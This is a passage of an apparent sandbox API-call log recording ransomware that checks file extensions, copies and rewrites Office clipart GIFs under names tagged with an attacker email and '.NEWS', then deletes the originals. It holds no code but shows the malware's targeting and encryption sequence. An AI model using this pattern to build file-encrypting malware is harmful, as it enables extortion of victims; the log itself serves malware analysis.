(lpString1=".dbf", lpString2=".GIF") returned -1 [0229.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0229.865] lstrlenW (lpString=".1cd") returned 4 [0229.865] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0229.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0229.865] lstrlenW (lpString=".jpg") returned 4 [0229.866] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0229.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0229.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0229.866] lstrlenW (lpString=".doc") returned 4 [0229.866] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0229.866] lstrlenW (lpString=".docx") returned 5 [0229.866] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0229.866] lstrlenW (lpString=".pdf") returned 4 [0229.866] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0229.866] lstrlenW (lpString=".xls") returned 4 [0229.866] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0229.866] lstrlenW (lpString=".xlsx") returned 5 [0229.867] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0229.867] lstrlenW (lpString=".ppt") returned 4 [0229.867] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0229.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0229.867] lstrlenW (lpString=".zip") returned 4 [0229.867] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0229.867] lstrlenW (lpString=".rar") returned 4 [0229.867] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0229.867] lstrlenW (lpString=".bz2") returned 4 [0229.867] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0229.867] lstrlenW (lpString=".7z") returned 3 [0229.867] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0229.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0229.867] lstrlenW (lpString=".dbf") returned 4 [0229.867] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0229.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0229.868] lstrlenW (lpString=".1cd") returned 4 [0229.868] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0229.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0229.868] lstrlenW (lpString=".jpg") returned 4 [0229.868] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0230.065] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0230.065] lstrlenW (lpString="AG00129_.GIF") returned 12 [0230.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0230.066] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x342ff1c | out: lpFileSize=0x342ff1c*=12482) returned 1 [0230.066] CloseHandle (hObject=0x3b8) returned 1 [0230.066] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif")) returned 0x20 [0230.066] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0230.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0230.067] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0230.067] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0230.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0230.068] GetLastError () returned 0x0 [0230.068] ReadFile (in: hFile=0x3b8, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x30c2, lpOverlapped=0x0) returned 1 [0230.264] WriteFile (in: hFile=0x3bc, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x30d0, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0x30d0, lpOverlapped=0x0) returned 1 [0230.482] ReadFile (in: hFile=0x3b8, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x0, lpOverlapped=0x0) returned 1 [0230.482] WriteFile (in: hFile=0x3bc, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0xec, lpOverlapped=0x0) returned 1 [0230.483] SetEndOfFile (hFile=0x3bc) returned 1 [0230.484] CloseHandle (hObject=0x3bc) returned 1 [0230.484] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0230.484] SetEndOfFile (hFile=0x3b8) returned 1 [0230.537] CloseHandle (hObject=0x3b8) returned 1 [0230.537] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0230.631] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif")) returned 1 [0230.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0230.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0230.632] lstrlenW (lpString=".doc") returned 4 [0230.632] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0230.632] lstrlenW (lpString=".docx") returned 5 [0230.633] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0230.633] lstrlenW (lpString=".pdf") returned 4 [0230.633] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0230.633] lstrlenW (lpString=".xls") returned 4 [0230.633] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0230.633] lstrlenW (lpString=".xlsx") returned 5 [0230.633] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0230.633] lstrlenW (lpString=".ppt") returned 4 [0230.633] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0230.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0230.633] lstrlenW (lpString=".zip") returned 4 [0230.633] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0230.634] lstrlenW (lpString=".rar") returned 4 [0230.634] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0230.634] lstrlenW (lpString=".bz2") returned 4 [0230.634] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0230.634] lstrlenW (lpString=".7z") returned 3 [0230.634] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0230.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0230.634] lstrlenW (lpString=".dbf") returned 4 [0230.634] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0230.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0230.634] lstrlenW (lpString=".1cd") returned 4 [0230.634] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0230.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0230.634] lstrlenW (lpString=".jpg") returned 4 [0230.635] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0230.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0230.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0230.635] lstrlenW (lpString=".doc") returned 4 [0230.635] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0230.635] lstrlenW (lpString=".docx") returned 5 [0230.635] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0230.635] lstrlenW (lpString=".pdf") returned 4 [0230.635] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0230.635] lstrlenW (lpString=".xls") returned 4 [0230.636] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0230.636] lstrlenW (lpString=".xlsx") returned 5 [0230.636] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0230.636] lstrlenW (lpString=".ppt") returned 4 [0230.636] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0230.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0230.636] lstrlenW (lpString=".zip") returned 4 [0230.636] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0230.636] lstrlenW (lpString=".rar") returned 4 [0230.636] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0230.636] lstrlenW (lpString=".bz2") returned 4 [0230.636] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0230.636] lstrlenW (lpString=".7z") returned 3 [0230.637] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0230.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0230.637] lstrlenW (lpString=".dbf") returned 4 [0230.637] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0230.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0230.637] lstrlenW (lpString=".1cd") returned 4 [0230.637] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0230.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0230.637] lstrlenW (lpString=".jpg") returned 4 [0230.637] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0230.638] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0230.638] lstrlenW (lpString="AG00139_.GIF") returned 12 [0230.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0230.676] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x342ff1c | out: lpFileSize=0x342ff1c*=10607) returned 1 [0230.676] CloseHandle (hObject=0x39c) returned 1 [0230.677] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif")) returned 0x20 [0230.753] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0230.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0230.754] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0230.754] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0230.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0230.755] GetLastError () returned 0x0 [0230.755] ReadFile (in: hFile=0x3b0, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x296f, lpOverlapped=0x0) returned 1 [0230.777] WriteFile (in: hFile=0x324, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x2970, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0x2970, lpOverlapped=0x0) returned 1 [0230.781] ReadFile (in: hFile=0x3b0, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x0, lpOverlapped=0x0) returned 1 [0230.782] WriteFile (in: hFile=0x324, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0xec, lpOverlapped=0x0) returned 1 [0230.782] SetEndOfFile (hFile=0x324) returned 1 [0230.785] CloseHandle (hObject=0x324) returned 1 [0230.786] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0230.786] SetEndOfFile (hFile=0x3b0) returned 1 [0230.803] CloseHandle (hObject=0x3b0) returned 1 [0230.803] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0230.816] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif")) returned 1 [0230.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0230.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0230.819] lstrlenW (lpString=".doc") returned 4 [0230.819] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0230.819] lstrlenW (lpString=".docx") returned 5 [0230.819] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0230.819] lstrlenW (lpString=".pdf") returned 4 [0230.819] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0230.820] lstrlenW (lpString=".xls") returned 4 [0230.820] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0230.820] lstrlenW (lpString=".xlsx") returned 5 [0230.820] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0230.820] lstrlenW (lpString=".ppt") returned 4 [0230.820] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0230.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0230.820] lstrlenW (lpString=".zip") returned 4 [0230.820] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0230.820] lstrlenW (lpString=".rar") returned 4 [0230.820] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0230.820] lstrlenW (lpString=".bz2") returned 4 [0230.821] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0230.821] lstrlenW (lpString=".7z") returned 3 [0230.821] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0230.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0230.821] lstrlenW (lpString=".dbf") returned 4 [0230.821] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0230.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0230.821] lstrlenW (lpString=".1cd") returned 4 [0230.821] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0230.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0230.821] lstrlenW (lpString=".jpg") returned 4 [0230.821] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0230.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0230.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0230.822] lstrlenW (lpString=".doc") returned 4 [0230.822] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0230.822] lstrlenW (lpString=".docx") returned 5 [0230.822] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0230.822] lstrlenW (lpString=".pdf") returned 4 [0230.822] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0230.822] lstrlenW (lpString=".xls") returned 4 [0230.822] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0230.822] lstrlenW (lpString=".xlsx") returned 5 [0230.822] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0230.822] lstrlenW (lpString=".ppt") returned 4 [0230.823] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0230.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0230.823] lstrlenW (lpString=".zip") returned 4 [0230.823] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0230.823] lstrlenW (lpString=".rar") returned 4 [0230.823] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0230.823] lstrlenW (lpString=".bz2") returned 4 [0230.823] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0230.823] lstrlenW (lpString=".7z") returned 3 [0230.823] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0230.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0230.823] lstrlenW (lpString=".dbf") returned 4 [0230.823] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0230.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0230.824] lstrlenW (lpString=".1cd") returned 4 [0230.824] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0230.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0230.824] lstrlenW (lpString=".jpg") returned 4 [0230.824] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0230.824] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0230.825] lstrlenW (lpString="AG00154_.GIF") returned 12 [0230.825] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0230.825] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x342ff1c | out: lpFileSize=0x342ff1c*=5315) returned 1 [0230.925] CloseHandle (hObject=0x1c0) returned 1 [0230.926] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif")) returned 0x20 [0231.087] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0231.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0231.089] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0231.089] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0231.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0231.090] GetLastError () returned 0x0 [0231.090] ReadFile (in: hFile=0x35c, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x14c3, lpOverlapped=0x0) returned 1 [0231.179] WriteFile (in: hFile=0x3bc, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x14d0, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0x14d0, lpOverlapped=0x0) returned 1 [0231.182] ReadFile (in: hFile=0x35c, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x0, lpOverlapped=0x0) returned 1 [0231.182] WriteFile (in: hFile=0x3bc, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0xec, lpOverlapped=0x0) returned 1 [0231.182] SetEndOfFile (hFile=0x3bc) returned 1 [0231.446] CloseHandle (hObject=0x3bc) returned 1 [0231.576] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0231.576] SetEndOfFile (hFile=0x35c) returned 1 [0231.583] CloseHandle (hObject=0x35c) returned 1 [0231.583] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0231.694] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif")) returned 1 [0231.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0231.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0231.698] lstrlenW (lpString=".doc") returned 4 [0231.698] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0231.698] lstrlenW (lpString=".docx") returned 5 [0231.698] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0231.698] lstrlenW (lpString=".pdf") returned 4 [0231.698] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0231.698] lstrlenW (lpString=".xls") returned 4 [0231.698] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0231.698] lstrlenW (lpString=".xlsx") returned 5 [0231.698] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0231.698] lstrlenW (lpString=".ppt") returned 4 [0231.698] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0231.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0231.699] lstrlenW (lpString=".zip") returned 4 [0231.699] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0231.699] lstrlenW (lpString=".rar") returned 4 [0231.699] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0231.699] lstrlenW (lpString=".bz2") returned 4 [0231.699] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0231.699] lstrlenW (lpString=".7z") returned 3 [0231.699] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0231.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0231.700] lstrlenW (lpString=".dbf") returned 4 [0231.700] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0231.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0231.700] lstrlenW (lpString=".1cd") returned 4 [0231.700] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0231.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0231.700] lstrlenW (lpString=".jpg") returned 4 [0231.700] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0231.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0231.701] lstrlenW (lpString="C:\\Program Files\\Microsoft 